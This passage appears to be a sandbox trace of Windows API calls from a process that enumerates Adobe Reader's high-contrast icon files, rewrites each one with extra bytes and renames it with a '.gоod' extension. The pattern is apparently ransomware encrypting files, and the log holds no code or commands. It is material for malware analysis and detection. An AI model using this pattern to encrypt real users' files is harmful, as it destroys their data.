1 [0133.926] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast", nBufferLength=0x105, lpBuffer=0x1fdeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast", lpFilePart=0x0) returned 0x66 [0133.926] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\*", lpFindFileData=0x1fdeb9a0 | out: lpFindFileData=0x1fdeb9a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0133.927] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.927] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2849, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons_hiContrast_bow.png", cAlternateFileName="CORE_I~3.PNG")) returned 1 [0133.927] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1e12, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons_hiContrast_wob.png", cAlternateFileName="CORE_I~4.PNG")) returned 1 [0133.928] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2fe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons_highcontrast.png", cAlternateFileName="COCE4C~1.PNG")) returned 1 [0133.928] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x67be, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons_highcontrast_retina.png", cAlternateFileName="CORE_I~2.PNG")) returned 1 [0133.928] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xa759, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons__retina_hiContrast_bow.png", cAlternateFileName="COE106~1.PNG")) returned 1 [0133.928] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xad76, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons__retina_hiContrast_wob.png", cAlternateFileName="CORE_I~1.PNG")) returned 1 [0133.928] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1fdeb960 | out: lpFindFileData=0x1fdeb960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xad76, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons__retina_hiContrast_wob.png", cAlternateFileName="CORE_I~1.PNG")) returned 0 [0133.928] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0133.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebbc0) returned 1 [0133.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdebb80) returned 1 [0133.929] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_bow.png", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_bow.png", lpFilePart=0x0) returned 0x84 [0133.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeba30) returned 1 [0133.929] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_bow.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_hicontrast_bow.png"), fInfoLevelId=0x0, lpFileInformation=0x388c5c0 | out: lpFileInformation=0x388c5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2849)) returned 1 [0133.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9f0) returned 1 [0133.930] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_bow.png", nBufferLength=0x105, lpBuffer=0x1fdeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_bow.png", lpFilePart=0x0) returned 0x84 [0133.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb930) returned 1 [0133.930] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_bow.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_hicontrast_bow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0133.930] GetFileType (hFile=0x63c) returned 0x1 [0133.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb8a0) returned 1 [0133.930] GetFileType (hFile=0x63c) returned 0x1 [0133.930] SetFilePointer (in: hFile=0x63c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdeba88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdeba88*=0) returned 0x1000 [0133.931] ReadFile (in: hFile=0x63c, lpBuffer=0x388cb18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeba58, lpOverlapped=0x0 | out: lpBuffer=0x388cb18*, lpNumberOfBytesRead=0x1fdeba58*=0x1000, lpOverlapped=0x0) returned 1 [0134.042] CloseHandle (hObject=0x63c) returned 1 [0134.042] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_bow.png", nBufferLength=0x105, lpBuffer=0x1fdeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_bow.png", lpFilePart=0x0) returned 0x84 [0134.042] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb930) returned 1 [0134.042] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_bow.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_hicontrast_bow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0134.042] GetFileType (hFile=0x63c) returned 0x1 [0134.042] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb8a0) returned 1 [0134.042] GetFileType (hFile=0x63c) returned 0x1 [0134.042] SetFilePointer (in: hFile=0x63c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdeba88*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdeba88*=0) returned 0x2849 [0134.042] WriteFile (in: hFile=0x63c, lpBuffer=0x3771fb8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdeb978, lpOverlapped=0x0 | out: lpBuffer=0x3771fb8*, lpNumberOfBytesWritten=0x1fdeb978*=0x10, lpOverlapped=0x0) returned 1 [0134.043] CloseHandle (hObject=0x63c) returned 1 [0134.043] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_bow.png", nBufferLength=0x105, lpBuffer=0x1fdeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_bow.png", lpFilePart=0x0) returned 0x84 [0134.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb930) returned 1 [0134.043] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_bow.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_hicontrast_bow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0134.044] GetFileType (hFile=0x63c) returned 0x1 [0134.044] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb8a0) returned 1 [0134.044] GetFileType (hFile=0x63c) returned 0x1 [0134.044] ReadFile (in: hFile=0x63c, lpBuffer=0x3774318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeba08, lpOverlapped=0x0 | out: lpBuffer=0x3774318*, lpNumberOfBytesRead=0x1fdeba08*=0x1000, lpOverlapped=0x0) returned 1 [0134.071] CloseHandle (hObject=0x63c) returned 1 [0134.072] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_bow.png", nBufferLength=0x105, lpBuffer=0x1fdeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_bow.png", lpFilePart=0x0) returned 0x84 [0134.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb930) returned 1 [0134.072] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_bow.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_hicontrast_bow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0134.072] GetFileType (hFile=0x63c) returned 0x1 [0134.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb8a0) returned 1 [0134.072] GetFileType (hFile=0x63c) returned 0x1 [0134.072] WriteFile (in: hFile=0x63c, lpBuffer=0x3772fd0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdebab8, lpOverlapped=0x0 | out: lpBuffer=0x3772fd0*, lpNumberOfBytesWritten=0x1fdebab8*=0x1010, lpOverlapped=0x0) returned 1 [0134.072] CloseHandle (hObject=0x63c) returned 1 [0134.072] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_bow.png", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_bow.png", lpFilePart=0x0) returned 0x84 [0134.072] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_bow.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_bow.png.gоod", lpFilePart=0x0) returned 0x89 [0134.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb9f0) returned 1 [0134.072] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_bow.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_hicontrast_bow.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdebad0 | out: lpFileInformation=0x1fdebad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4c21708f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2859)) returned 1 [0134.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9b0) returned 1 [0134.073] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_bow.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_hicontrast_bow.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_bow.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_hicontrast_bow.png.gоod")) returned 1 [0134.074] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_wob.png", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_wob.png", lpFilePart=0x0) returned 0x84 [0134.074] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeba30) returned 1 [0134.074] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_wob.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_hicontrast_wob.png"), fInfoLevelId=0x0, lpFileInformation=0x37f1958 | out: lpFileInformation=0x37f1958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1e12)) returned 1 [0134.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9f0) returned 1 [0134.074] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_wob.png", nBufferLength=0x105, lpBuffer=0x1fdeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_wob.png", lpFilePart=0x0) returned 0x84 [0134.074] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb930) returned 1 [0134.074] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_wob.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_hicontrast_wob.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0134.074] GetFileType (hFile=0x63c) returned 0x1 [0134.074] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb8a0) returned 1 [0134.074] GetFileType (hFile=0x63c) returned 0x1 [0134.074] SetFilePointer (in: hFile=0x63c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdeba88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdeba88*=0) returned 0x1000 [0134.074] ReadFile (in: hFile=0x63c, lpBuffer=0x37f1eb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeba58, lpOverlapped=0x0 | out: lpBuffer=0x37f1eb0*, lpNumberOfBytesRead=0x1fdeba58*=0xe12, lpOverlapped=0x0) returned 1 [0134.424] CloseHandle (hObject=0x63c) returned 1 [0134.605] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_wob.png", nBufferLength=0x105, lpBuffer=0x1fdeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_wob.png", lpFilePart=0x0) returned 0x84 [0134.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb930) returned 1 [0134.605] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_wob.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_hicontrast_wob.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0134.605] GetFileType (hFile=0x618) returned 0x1 [0134.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb8a0) returned 1 [0134.606] GetFileType (hFile=0x618) returned 0x1 [0134.606] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdeba88*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdeba88*=0) returned 0x1e12 [0134.606] WriteFile (in: hFile=0x618, lpBuffer=0x3879e08*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdeb978, lpOverlapped=0x0 | out: lpBuffer=0x3879e08*, lpNumberOfBytesWritten=0x1fdeb978*=0x10, lpOverlapped=0x0) returned 1 [0134.606] CloseHandle (hObject=0x618) returned 1 [0134.606] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_wob.png", nBufferLength=0x105, lpBuffer=0x1fdeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_wob.png", lpFilePart=0x0) returned 0x84 [0134.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb930) returned 1 [0134.606] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_wob.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_hicontrast_wob.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0134.606] GetFileType (hFile=0x618) returned 0x1 [0134.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb8a0) returned 1 [0134.606] GetFileType (hFile=0x618) returned 0x1 [0134.606] ReadFile (in: hFile=0x618, lpBuffer=0x387c168, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdeba08, lpOverlapped=0x0 | out: lpBuffer=0x387c168*, lpNumberOfBytesRead=0x1fdeba08*=0x1000, lpOverlapped=0x0) returned 1 [0134.635] CloseHandle (hObject=0x618) returned 1 [0134.636] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_wob.png", nBufferLength=0x105, lpBuffer=0x1fdeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_wob.png", lpFilePart=0x0) returned 0x84 [0134.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb930) returned 1 [0134.636] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_wob.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_hicontrast_wob.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0134.636] GetFileType (hFile=0x618) returned 0x1 [0134.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb8a0) returned 1 [0134.636] GetFileType (hFile=0x618) returned 0x1 [0134.636] WriteFile (in: hFile=0x618, lpBuffer=0x387ae20*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdebab8, lpOverlapped=0x0 | out: lpBuffer=0x387ae20*, lpNumberOfBytesWritten=0x1fdebab8*=0x1010, lpOverlapped=0x0) returned 1 [0134.636] CloseHandle (hObject=0x618) returned 1 [0134.636] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_wob.png", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_wob.png", lpFilePart=0x0) returned 0x84 [0134.636] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_wob.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdeb560, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_wob.png.gоod", lpFilePart=0x0) returned 0x89 [0134.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb9f0) returned 1 [0134.637] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_wob.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_hicontrast_wob.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdebad0 | out: lpFileInformation=0x1fdebad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4c77460c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1e22)) returned 1 [0134.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb9b0) returned 1 [0134.637] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\hi_contrast\\core_icons_hiContrast_wob.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\hi_contrast\\core_icons_hicontrast_wob.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 